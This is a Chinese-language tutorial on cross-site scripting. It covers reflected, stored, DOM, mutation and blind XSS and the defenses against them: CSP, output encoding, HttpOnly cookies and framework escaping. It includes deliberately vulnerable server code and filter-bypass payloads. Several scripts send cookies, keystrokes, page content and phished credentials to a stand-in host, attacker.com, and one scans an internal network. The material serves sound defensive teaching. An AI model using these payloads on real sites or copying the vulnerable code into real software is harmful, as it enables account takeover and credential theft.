XSS 跨站脚本攻击
概述
跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种常见的 Web 安全漏洞,攻击者通过在目标网站中注入恶意脚本,当其他用户浏览该页面时,脚本在用户的浏览器中执行,从而窃取信息或执行恶意操作。XSS 是 OWASP Top 10 中常年占据前列的安全威胁。
XSS 原理与危害
原理
XSS 的核心原理是未对用户输入进行充分过滤和转义,导致攻击者能够将恶意脚本代码(通常是 JavaScript)注入到网页中,浏览器将其当作合法脚本执行。
危害
| 危害类型 | 具体表现 |
|---|---|
| 会话劫持 | 窃取用户的 Cookie,冒充用户登录 |
| 钓鱼攻击 | 伪造登录表单,诱骗用户输入凭证 |
| 页面劫持 | 篡改页面内容,插入恶意广告或跳转链接 |
| 键盘记录 | 监听用户键盘输入,窃取密码、银行卡号等敏感信息 |
| 内网扫描 | 利用浏览器发起内网请求,探测内网服务 |
| 挖矿脚本 | 在用户浏览器中植入挖矿脚本,消耗用户计算资源 |
反射型 XSS(Reflected XSS)
原理
反射型 XSS 也称为非持久型 XSS。恶意脚本作为请求参数附加在 URL 中,服务端将参数内容直接返回给用户浏览器执行。攻击者通常通过诱导用户点击精心构造的恶意链接来实施攻击。
代码示例
存在漏洞的服务端代码(Node.js)
const express = require('express');
const app = express();
app.get('/search', (req, res) => {
// ❌ 直接将用户输入拼接到 HTML 中
const keyword = req.query.q;
res.send(`<p>您搜索的关键词是:${keyword}</p>`);
});攻击者构造如下链接:
https://example.com/search?q=<script>alert('XSS')</script>防御后的代码
const express = require('express');
const app = express();
const escapeHtml = require('escape-html');
app.get('/search', (req, res) => {
// ✅ 对用户输入进行 HTML 实体编码
const keyword = escapeHtml(req.query.q || '');
res.send(`<p>您搜索的关键词是:${keyword}</p>`);
});攻击流程
1. 攻击者构造恶意 URL → 2. 诱骗用户点击 → 3. 用户浏览器发送请求
→ 4. 服务端返回包含恶意脚本的响应 → 5. 恶意脚本在用户浏览器中执行存储型 XSS(Stored XSS)
原理
存储型 XSS 也称为持久型 XSS。恶意脚本被持久化存储在服务端(如数据库、文件系统、缓存中),当其他用户访问相关页面时,存储的恶意脚本被返回并执行。存储型 XSS 的危害远大于反射型 XSS,因为它影响所有访问该页面的用户。
代码示例
存在漏洞的评论功能
from flask import Flask, request, render_template_string
import sqlite3
app = Flask(__name__)
@app.route('/comment', methods=['POST'])
def add_comment():
content = request.form['content']
# ❌ 直接将用户输入存入数据库,未做任何过滤
db.execute(f"INSERT INTO comments (content) VALUES ('{content}')")
db.commit()
return '评论成功'
@app.route('/comments')
def show_comments():
comments = db.execute("SELECT content FROM comments").fetchall()
# ❌ 未对输出进行编码
html = ''.join([f'<div>{c[0]}</div>' for c in comments])
return render_template_string(html)攻击者提交评论内容:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>此后所有访问 /comments 页面的用户,Cookie 都会被窃取。
防御后的代码
from flask import Flask, request, render_template
import html
@app.route('/comments')
def show_comments():
comments = db.execute("SELECT content FROM comments").fetchall()
# ✅ 对输出进行 HTML 实体编码
safe_comments = [html.escape(c[0]) for c in comments]
return render_template('comments.html', comments=safe_comments)攻击流程
1. 攻击者提交恶意评论 → 2. 恶意内容存入数据库 → 3. 其他用户访问页面
→ 4. 服务端从数据库取出恶意内容并返回 → 5. 恶意脚本在受害者浏览器中执行DOM 型 XSS(DOM Based XSS)
原理
DOM 型 XSS 完全在客户端浏览器侧发生,不经过服务端。恶意脚本通过修改页面的 DOM 环境来执行。攻击载荷通常来自 URL 片段(hash)、document.referrer、window.name、localStorage 等客户端来源。
代码示例
存在漏洞的前端代码
<!DOCTYPE html>
<html>
<body>
<div id="result"></div>
<script>
// ❌ 从 URL 获取参数,直接设置 innerHTML
const name = new URLSearchParams(location.search).get('name');
document.getElementById('result').innerHTML = '欢迎您,' + name;
</script>
</body>
</html>攻击者构造:
https://example.com/page?name=<img src=x onerror=alert('XSS')>防御后的代码
<script>
// ✅ 使用 textContent 替代 innerHTML
const name = new URLSearchParams(location.search).get('name');
document.getElementById('result').textContent = '欢迎您,' + name;
// 或者使用 createTextNode
const text = document.createTextNode('欢迎您,' + name);
document.getElementById('result').appendChild(text);
</script>三种 XSS 类型对比
| 特性 | 反射型 | 存储型 | DOM 型 |
|---|---|---|---|
| 存储位置 | 无(URL 参数) | 服务端数据库 | DOM(客户端) |
| 触发方式 | 用户点击恶意链接 | 访问被感染的页面 | URL / referrer 等客户端来源 |
| 是否经过服务端 | 是 | 是 | 否 |
| 危害范围 | 单个用户 | 所有访问用户 | 单个用户 |
| 检测难度 | 低 | 中 | 高 |
XSS 的变种
Mutation XSS(mXSS)
Mutation XSS 利用浏览器对不同 HTML 解析器的解析差异,绕过服务端或客户端的过滤规则。攻击者构造的载荷在源码层面看起来无害,但在浏览器实际渲染时发生"突变"成为可执行脚本。
<!-- 看似无害的输入 -->
<noscript><p title="</noscript><img src=x onerror=alert('mXSS')>">某些浏览器在解析时会重新解释这段 HTML,导致脚本意外执行。
Self XSS
Self XSS 指攻击代码需要用户主动将其粘贴到浏览器开发者工具或页面输入框中执行。攻击者无法直接注���脚本到页面中,而是通过社会工程学诱骗用户自己执行恶意代码。
攻击者诱导用户:复制以下代码到浏览器控制台执行,即可查看隐藏内容:
> javascript:alert(document.cookie)防御 Self XSS 的主要手段是用户教育以及浏览器限制控制台粘贴执行。
Blind XSS
Blind XSS 是一种存储型 XSS 的特殊形式,攻击者的注入点不会直接反射给攻击者或普通用户,而是存储在服务端(如后台管理系统、日志系统、工单系统等),当管理员或后台审核人员访问时触发。
<!-- 攻击者在用户反馈表单中注入 -->
<script>
new Image().src = 'https://attacker.com/beacon?c=' +
encodeURIComponent(document.cookie);
</script>防御要点:
- 所有后台管理系统同样需要严格的输入输出编码
- 对自动生成的邮件、PDF、报表等内容进行安全检查
- 定期审计日志输出和后台展示逻辑
CSP(Content Security Policy)防御策略
CSP 是一种浏览器安全机制,通过 HTTP 响应头或 <meta> 标签声明允许加载的资源来源,即使攻击者成功注入了恶意脚本,浏览器也会因为 CSP 策略的限制而拒绝执行。
启用 CSP
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'常用指令
| 指令 | 作用范围 |
|---|---|
default-src | 所有资源类型的默认来源(兜底策略) |
script-src | 可执行的 JavaScript 脚本来源 |
style-src | 样式表来源 |
img-src | 图片来源 |
connect-src | XMLHttpRequest、Fetch、WebSocket 等请求目标 |
font-src | 字体文件来源 |
frame-src | 嵌入的 frame/iframe 来源 |
object-src | <object>、<embed>、<applet> 来源 |
base-uri | <base> 标签允许的 URL |
来源白名单
# 仅允许同源资源
Content-Security-Policy: default-src 'self'
# 允许同源和指定 CDN 的脚本
Content-Security-Policy: script-src 'self' https://cdn.example.com
# 允许内联样式和同源脚本
Content-Security-Policy: script-src 'self'; style-src 'self' 'unsafe-inline'nonce(一次性随机数)
对于内联脚本,可以在 <script> 标签上添加 nonce 属性,CSP 只允许 nonce 值匹配的脚本执行。
Content-Security-Policy: script-src 'nonce-abc123def456'<script nonce="abc123def456">
// 这个脚本会被执行,因为 nonce 匹配
console.log('合法的脚本');
</script>
<script>
// 这个脚本会被浏览器阻止执行,因为没有 nonce
alert('XSS');
</script>hash(哈希值)
对于已知的固定内联脚本,可以使用其哈希值进行授权。
Content-Security-Policy: script-src 'sha256-ABC123DEF...='<!-- 只有哈希值匹配的脚本才能执行 -->
<script>
console.log('这个脚本的哈希已注册');
</script>strict-dynamic 模式
在严格模式下,CSP nonce 标记的脚本所动态加载的其他脚本也自动获得信任。
Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'输入输出编码防御
输入输出编码是防御 XSS 的最基本手段,核心原则是:不信任任何用户输入,对所有输出到 HTML 中的用户数据进行编码。
HTML 实体编码
将特殊字符转换为 HTML 实体,防止浏览器将其解释为 HTML 标签或 JavaScript。
| 字符 | HTML 实体 | 说明 |
|---|---|---|
< | < | 小于号 |
> | > | 大于号 |
& | & | 和号 |
" | " | 双引号 |
' | ' 或 ' | 单引号 |
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return str.replace(/[&<>"']/g, char => map[char]);
}JavaScript 编码
当用户数据需要插入到 JavaScript 字符串中时,需要进行 JavaScript 编码。
function escapeJs(str) {
return str
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/<\/script>/gi, '<\\/script>');
}URL 编码
当用户数据作为 URL 参数时,需要进行 URL 编码。
// ✅ 使用 encodeURIComponent 对参数值进行编码
const safeUrl = 'https://example.com?redirect=' +
encodeURIComponent(userInput);
// ❌ 错误的做法
const unsafeUrl = 'https://example.com?redirect=' + userInput;编码场景矩阵
| 输出上下文 | 编码方式 | 示例 |
|---|---|---|
| HTML 标签内容 | HTML 实体编码 | <script> |
| HTML 标签属性 | HTML 实体编码 + 属性引号 | " onclick="... |
| JavaScript 字符串 | JavaScript 编码 | \'、\n |
| URL 参数值 | URL 编码(encodeURIComponent) | %3Cscript%3E |
| CSS 值 | CSS 编码 | 尽量避免用户输入控制 CSS |
HttpOnly Cookie 与 XSS 的关系
HttpOnly 是 Cookie 的一个标志位,用于阻止 JavaScript 通过 document.cookie 访问 Cookie。
设置 HttpOnly Cookie
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict// Node.js/Express
res.cookie('sessionid', 'abc123', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});局限性
虽然 HttpOnly 可以防止通过 XSS 窃取 Cookie,但它并不能防御 XSS 攻击本身:
<!-- 即使 Cookie 是 HttpOnly 的,攻击者仍然可以: -->
<script>
// ❌ 无法读取 document.cookie(HttpOnly 保护)
// ✅ 但仍可执行以下操作:
// 1. 发起带有 Cookie 的自动请求(CSRF 风格)
fetch('https://api.example.com/change-email', {
method: 'POST',
credentials: 'include', // 自动携带 Cookie
body: new URLSearchParams({email: 'attacker@evil.com'})
});
// 2. 篡改页面内容进行钓鱼
document.body.innerHTML = '<h1>系统升级,请重新登录</h1>' +
'<form action="https://attacker.com/harvest">' +
'<input name="password" type="password">' +
'<button>提交</button></form>';
</script>结论:HttpOnly Cookie 是纵深防御的一部分,不能替代输入输出编码和 CSP 等核心防御手段。
XSS 攻击载荷示例
以下载荷仅供安全研究和防御测试使用,禁止用于非法攻击。
基础测试载荷
<!-- 基础脚本执行 -->
<script>alert('XSS')</script>
<!-- 利用事件 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<!-- 利用 HTML 属性 -->
<a href="javascript:alert(1)">点击我</a>
<iframe src="javascript:alert(1)">
<!-- 利用 CSS -->
<style>body{background-image:url("javascript:alert(1)")}</style>
<!-- 利用编码绕过 -->
<img src=x onerror="alert(1)">绕过过滤的载荷
<!-- 大小写混合 -->
<ScRiPt>alert(1)</ScRiPt>
<!-- 双写绕过 -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<!-- 利用注释 -->
<script>/**/alert/**/(1)/**/</script>
<!-- 利用换行 -->
<img src=x
onerror=alert(1)>
<!-- 利用字符实体 -->
<img src=x onerror=alert(1)>
<!-- 空字节截断(旧版 IE) -->
<scr%00ipt>alert(1)</scr%00ipt>窃取数据的载荷
// 窃取 Cookie
new Image().src = 'https://attacker.com/steal?c=' + document.cookie;
// 窃取页面内容
fetch('https://attacker.com/exfil', {
method: 'POST',
body: document.documentElement.innerHTML
});
// 窃取表单输入
document.addEventListener('keypress', function(e) {
new Image().src = 'https://attacker.com/key?k=' + e.key;
});利用 XSS 进行攻击的场景
场景一:会话劫持
攻击者通过 XSS 获取用户的 Session Cookie(当 Cookie 未设置 HttpOnly 时),进而冒充用户操作。
// 攻击者在注入点执行
const img = new Image();
img.src = 'https://attacker.com/collect?cookie=' +
encodeURIComponent(document.cookie);
// 攻击者收到 Cookie 后,使用开发者工具或浏览器插件设置该 Cookie,
// 即可完全接管受害者的会话场景二:钓鱼攻击
攻击者利用 XSS 篡改页面内容,伪造合法的登录表单,诱骗用户输入凭证。
<script>
// 移除原有页面内容
document.body.innerHTML = '';
// 注入钓鱼表单
document.body.innerHTML = `
<div style="
position:fixed;top:0;left:0;width:100%;height:100%;
background:white;display:flex;align-items:center;justify-content:center;
flex-direction:column;z-index:99999;
">
<h1>会话已超时,请重新登录</h1>
<form id="phishForm">
<input type="text" name="username" placeholder="用户名"><br>
<input type="password" name="password" placeholder="密码"><br>
<button type="submit">登录</button>
</form>
<p style="color:gray">为了您的账户安全,请重新验证身份</p>
</div>
`;
document.getElementById('phishForm').addEventListener('submit', function(e) {
e.preventDefault();
const u = this.username.value;
const p = this.password.value;
// 将凭证发送到攻击者服务器
fetch('https://attacker.com/steal-creds', {
method: 'POST',
body: JSON.stringify({username: u, password: p})
});
alert('登录成功,正在跳转...');
location.href = 'https://example.com';
});
</script>场景三:内网探测
攻击者利用 XSS 将受害者的浏览器作为跳板,探测内网服务。
// 扫描内网常见的端口
const ports = [80, 443, 8080, 3306, 6379, 27017];
const ips = ['192.168.1.1', '192.168.1.2', '10.0.0.1'];
ips.forEach(ip => {
ports.forEach(port => {
const img = new Image();
img.onload = () => {
// 端口开放,上报内网存活信息
fetch('https://attacker.com/report?ip=' + ip + '&port=' + port);
};
img.onerror = () => {}; // 端口关闭
img.src = `http://${ip}:${port}/favicon.ico`;
});
});前端框架对 XSS 的内置防御
现代前端框架(React、Vue、Angular 等)默认对动态内容进行转义,大大降低了 XSS 爆发的可能性。但这并不意味着可以完全放松警惕。
React 的防御机制
React 默认使用 textContent 渲染 JSX 表达式中的内容,所有动态内容都会自动进行 HTML 实体编码。
// ✅ 安全:React 自动编码,页面显示为纯文本
const userContent = '<img src=x onerror=alert(1)>';
return <div>{userContent}</div>;
// 实际渲染:<img src=x onerror=alert(1)>危险的"逃生舱"——当使用 dangerouslySetInnerHTML 时,React 不会进行任何转义:
// ❌ 危险:绕过 React 的自动防御
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// 如果 html 包含恶意脚本,将直接执行其他需要警惕的 React API:
// ❌ 危险的 href 值
const userLink = "javascript:alert('XSS')";
return <a href={userLink}>点击</a>; // 点击后执行 JavaScript
// ✅ 安全的做法:验证 URL 协议
function safeUrl(url) {
return url.startsWith('http://') || url.startsWith('https://')
? url : '#';
}Vue 的防御机制
Vue 模板中的插值表达式(Mustache 语法 {{ }})默认进行 HTML 转义。
<template>
<!-- ✅ 安全:Vue 自动进行 HTML 实体编码 -->
<div>{{ userContent }}</div>
<!-- 渲染为:<img src=x onerror=alert(1)> -->
</template>
<script>
export default {
data() {
return {
userContent: '<img src=x onerror=alert(1)>'
}
}
}
</script>危险的 API:
<template>
<!-- ❌ 危险:使用 v-html 会直接渲染原始 HTML -->
<div v-html="userContent"></div>
<!-- ❌ 危险:动态绑定到 href -->
<a :href="userLink">点击</a>
</template>框架安全对比
| 框架 | 默认转义 | 危险 API | 注意事项 |
|---|---|---|---|
| React | JSX 表达式自动转义 | dangerouslySetInnerHTML、href 属性 | 避免直接使用用户输入作为 href、src 属性值 |
| Vue | Mustache {{ }} 自动转义 | v-html、:href、v-bind | 使用 v-html 前确保内容安全或经过转义 |
| Angular | 插值表达式自动转义 | [innerHTML]、[src]、[href] | Angular 内置 DomSanitizer 清洗不安全值 |
安全开发建议
- 优先使用框架默认的插值语法,避免使用
dangerouslySetInnerHTML/v-html/[innerHTML] - 如果必须渲染富文本,使用经过安全审计的 HTML 过滤库(如 DOMPurify)
- 对用户提供的 URL 进行协议校验,拒绝
javascript:、data:等危险协议 - 结合 CSP 策略为框架提供额外保护层
// 使用 DOMPurify 清洗 HTML 后再使用危险 API
import DOMPurify from 'dompurify';
function SafeRichContent({ html }) {
return <div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(html)
}} />;
}总结
XSS 攻击的防御需要采用纵深防御策略,不能依赖单一防御手段:
| 防御层次 | 具体措施 | 作用 |
|---|---|---|
| 输入层 | 输入验证、输入过滤 | 拦截明显恶意的内容 |
| 输出层 | HTML 实体编码、JavaScript 编码、URL 编码 | 确保数据不会突破上下文边界 |
| 传输层 | HttpOnly Cookie、Secure Cookie | 降低 Cookie 劫持风险 |
| 策略层 | Content Security Policy(CSP) | 即使代码注入成功,也限制其执行能力 |
| 框架层 | 使用框架安全 API、避开危险 API | 从开发层面减少漏洞引入 |
| 运维层 | 安全测试、代码审计、WAF | 持续检测和防御 |
核心原则:永远不要信任用户输入,在所有输出上下文中进行正确编码,并配置 CSP 作为最终防线。